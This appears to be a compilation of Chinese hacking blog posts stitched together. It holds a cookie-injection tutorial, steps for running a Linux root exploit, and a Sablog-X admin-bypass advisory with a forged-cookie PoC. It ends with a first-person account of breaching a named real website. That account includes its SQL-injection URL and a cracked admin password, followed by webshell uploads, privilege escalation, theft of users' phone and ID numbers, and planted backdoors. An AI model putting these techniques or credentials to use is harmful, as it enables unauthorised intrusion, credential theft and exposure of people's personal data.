[From Ad’s Blog]
现在很多网站都加了防注入系统代码,你输入注入语句将无法注入,
感觉这样的防注入系统不错,但防注入系统没有注意到 Cookies 的问题!
所以就有了Cookies注入,
我们来研究一下怎样情况下才会有Cookies注入!
如果你学过ASP
你应该会知道 Request.QueryString (GET) 或 Request.Form (POST)!
呵,没错,这就是我们用于读取用户发给WEB服务器的指定键中的值!
我们有时为了简化代码,会写成
ID=Request(”ID”)
这样写法是简单了,但问题就来了。
我们先看WEB服务是怎样读取数据的,他是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据(晕,书上没有这么说,这是和小高交流时才知道,看来书说的不全。)
我们再看看防注入系统,他会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)!
就禁止数据的提交! 但他没有检测Cookies的数据!问题就来了那我们怎样测试是否有Cookies注入问题。
请先看下面的的连接(示例用,所以连接不是真的)
http://www.xxx.com/1.asp?id=123
如果我们只输 http://www.xxx.com/1.asp
时,就不能看到正常的数据,因为没有参数!
我们想知道有没有Cookies问题(也就是有没有Request(”XXX”)格式问题),
先用IE输入
http://www.xxx.com/1.asp
加载网页,显示不正常(没有输参数的原因)
之后在IE输入框再输入
javascript:alert(document.cookie=”id=”+escape(”123″));
按回车,你会看到弹出一个对话框 内容是: id=123
之后,你刷新一个网页,如果正常显示,表示是用
Request(”ID”) 这样的格式收集数据,这种格式就可以试Cookies注入了
在输入框中输入
javascript:alert(document.cookie=”id=”+escape(”123 and 3=3″));
刷新页面,如果显示正常,可以再试下一步(如果不正常,就有可能也有过滤了)
javascript:alert(document.cookie=”id=”+escape(”123 and 3=4″));刷新一下页面
如果不正常显示,这就表示有注入了。
如果程序员是用
Request.QueryString
或
Request.Form
收集数据的话,是无法利用Cookies绕过防注入系统进行注入的,因为服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,WEB服务器是不理的,所以就无法利用了!~
————————————————————————–
为了方便不懂的朋友了解
javascript:alert(document.cookie=”id=”+escape(”123″));
的意思,我说明一下
document.cookie=”id=”+escape(”123″) 就是把 123 保存到Cookies 的 ID 中
alert(xxx) 就是弹对话框
后话
==========================================================
Cookie注入已不算是什么新技术,但还算是很管用的方法,或者有一天,防注入系统会加入Cookies注入检测!
linux exploit how to use
$:
uname -a
(linux version)
id or whoami
(yourself access)
ls
(dir)
rpm -q gcc
(make sure the gcc was installed)
gcc -o cmd cmd.c
(gcc the exploit )
./cmd
(make you get the root)
[Noevil:没有不透风的墙。]
Sablog-X 2.X 后台管理权限欺骗漏洞
by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
data: 2010/2/24
一 描叙:
由于Sablog-x v2.x的后台认证过程存在严重的逻辑问题,导致构造特殊的cookie直接登录后台。
二 分析 :
// cp.php
if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
loginpage();
}
…
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
…
下面来看下这几个变量是怎么来的
// common.inc.php
list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE[’sax_auth’] ? explode(”\t”, authcode($_COOKIE[’sax_auth’], ‘DECODE’)) : array('’, ‘’, ‘’);
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE[’sax_hash’]);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量
$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)
$seccode = $sessionexists = 0;
$userfields = ‘u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity’;
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
if ($sax_uid && $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
$query = $DB->query(”SELECT s.hash, s.seccode, $userfields
FROM {$db_prefix}users u
LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
WHERE s.hash=’$sax_hash’ AND u.userid=’$sax_uid’ AND CONCAT_WS(’.',s.ip1,s.ip2,s.ip3,s.ip4)=’$onlineip’
AND u.password=’$sax_pw’ AND u.logincount=’$sax_logincount’ AND s.auth_key=’$sax_auth_key’”);
} else {
$query = $DB->query(”SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=’$sax_hash’ AND CONCAT_WS(’.',ip1,ip2,ip3,ip4)=’$onlineip’ LIMIT 1″);
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO[’sessionuid’]的值为管理员的id
}
if ($_EVO = $DB->fetch_array($query)){
$sessionexists = 1;
if($_EVO[’sessionuid’]) {
// 流程[3]
$query = $DB->query(”SELECT $userfields FROM {$db_prefix}users u WHERE u.userid=’”.intval($_EVO[’sessionuid’]).”‘”);
$_EVO = array_merge($_EVO, $DB->fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO[’sessionuid’]的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
$sax_uid = $_EVO[’userid’];
}
} else {
if($_EVO = $DB->fetch_one_array(”SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash=’$sax_hash’ AND CONCAT_WS(’.',ip1,ip2,ip3,ip4)=’$onlineip’”)) {
dcookies();
$sessionexists = 1;
}
}
}
……
@extract($_EVO);
由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)
那么我们如何知道正确的sax_hash和onlineip呢?
// global.func.php
function updatesession() {
…
replacesession(1);
…
}
function replacesession($insert = 0) {
…
$ips = explode(’.', $onlineip);
…
$DB->query(”INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES (’$sax_hash’, ‘$sax_auth_key’, ‘$ips[0]’, ‘$ips[1]’, ‘$ips[2]’, ‘$ips[3]’, ‘$sax_uid’, ‘$sax_group’, ‘$timestamp’, ‘$seccode’, ‘”.IS_ROBOT.”‘)”);
…
replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)
首先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和onlineip也是我们知道的数据了
然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为1],这样我们就可以通过后台权限验证,并获得管理员权限了:)
三 利用 :
PoC:
GET /cp.php HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;
渗透发现王国详细过程
…详细过程技术含量其实并不高,全都是运气好的原因~
但是,龟仙人曾经说过,运气好也是一种实力~~~
嘿嘿,开始!
随便的一个注入点:
http://www.discoveryland.cn/index.php?c=article&a=view&artid=106
http://www.discoveryland.cn/index.php?c=article&a=view&artid=106 order by 1,2,3,4,5,6,7,8,9,10–
返回正常
http://www.discoveryland.cn/index.php?c=article&a=view&artid=106 order by 1,2,3,4,5,6,7,8,9,10,11–
出错
说明10个表
5.0.51b-community-nt
Mysql的版本
不停的爆表…(就是替换后面的0,1—把0不停地递增…)
爆到出现cdb前缀,
这里要说明一点…
发现王国站由两部分组成——前面新闻站和后面的discuz
新闻站有自己的后台,但是,一开始我发现,新闻站的会员就是和discuz
里的数据,所以我以为新闻站的后台管理员帐号也在discuz的表中储存…
(而且,我查看新闻站后台的源码,字段同样是username和password,看来我迷信了…)
算法:
md5(md5($newpw).$salt)
这就基本没戏了,即使你把salt得到了,也要对付接近无敌的两次md5…
于是放弃,旁注也无望。
第二天晚,发现爱你自己粗心
爆表爆到后面的时候,发现前缀变成了dland_
我继续试了试,爆出了
dland_admin
于是:
爆出
admin:398dbd83e8600617cd6a5df372d6b603
解密出:
5y2k77t
但是,后台拿shell无望…
第二天,来到发现王国的开发商——大连亚迅。
他的服务器上都是他的客户,上面用的都是亚讯自己的cms,
全都有漏洞,直接拿下n多站,但都没用,拿不了shell…
扔到tools
一个大牛竟然拿到了shell
原来mysql权限设置不当,注入点是root权限!
Loadfile就可以了~
语句:
返回
root@localhost
制造错误,成功得到绝对路径:
D:\website\www.xxx.com.cn\
在目录下写出了一个一句话,用菜刀连接!
Ok啦~
提权也很简单,没亮点。
但是,我回到王国的站,发现王国的权限不是root…
discoveryland@localhost
哎…还是没办法…
这里要说明一下,这时我已经通过新闻站的漏洞,爆出很多管理人员的密码,通过密码我成功来到了discuz的后台,但不是创始人,tools的方法又不成功,可恨的是3est的mars手里有0day,但是就是不帮我拿shell…
我又来到邮件系统,不是一个服务器,翻了翻他们的邮件,没什么意思,信息是很敏感,但和网站没啥大关系…
我回到亚迅的服务器,突发奇想,搜索discoveryland
结果找到一个文件夹,里面全是王国网站的旧数据!
说明王国在这里驻留过!
安装phpmyadmin,查cdb_members表,
抱着试试看的态度,去破解izz(现王国论坛的管理员)的帐号,
结果密码和现在izz的密码是相同的,说明,这里的md5就是普通的一次加密,
我赶紧爆admin的md5
成功破接触密码!
来到王国discuz,得到创始人了,但是uc_ip的拿shell方法依然不成功…
绝望中,把亚迅的一些重要东西下载了个遍…
Cdb_members也导了出来,上面有还他们的邮箱,手机,真实身份证号码,不知干啥用的…
回到王国新闻站后台,发现首页的flash可以更改,
我点更改,竟然又有个上传处!
说明一下,摆在面上的上传地方有两个:
一个是文章编辑的地方
用的是binkeditor
挑战不了…
另一个就是提供下载的地方,你可以上传过去,但是绝对不会让你把php,asp乱七八糟的解析…
说回来,这个新的上传地方,抱着试试看的态度上传asp;.jpg
连接…
竟然成功了!
高兴,后面提权就用论坛上的Churrasco就行了~~~
拿到服务器,拷贝敏感资料…装点后门,走人…
这一天一直在对发现王国官网进行渗透,每天都在想,完蛋了,看来只能进行社工或者入侵c段进行嗅探了,
但是每天都在有不多不少的希望和惊喜:
第一天找到注入点,但是我以为官网的新闻系统管理员表和他的discuz论坛共用一个呢…
那样就渺茫了,因为discuz的加密让人头大…
旁注早就看了,没戏…
结果第二天发现,原来不是共用一个表,我在仔细注入后,发现后面有自己的管理员表,
成功爆出账号密码,md5也轻松解密了…
但是郁闷呢还在继续,新闻站是大连亚迅开发的,我看了看,发现亚迅官网服务器上面全是亚讯自己编写的这套程序,
全部有注入漏洞,可惜后台却没有一个能拿webshell…
我用社工进入去了discuz,人品不好,后台拿不到shell,mars有0day,但是他又不给我…
昨天在tools把除了发现王国外的后台全部扔到tools,说那位牛人能拿到webshell…
结果真的有人能!!!
亚迅所在服务器权限设置不当,直接通过loadfile就能拿到!!!
接下来,亚迅所在服务器沦陷…成为肉鸡一只。
我在服务器上搜索发现王国的网址,发现真的有痕迹,看来发现王国真的在这里安过家,数据都是09年12月份的…而且数据量很大,我又不知道那些东西重要,所以先搁置在那里了…
但我感觉离突破发现王国不远了…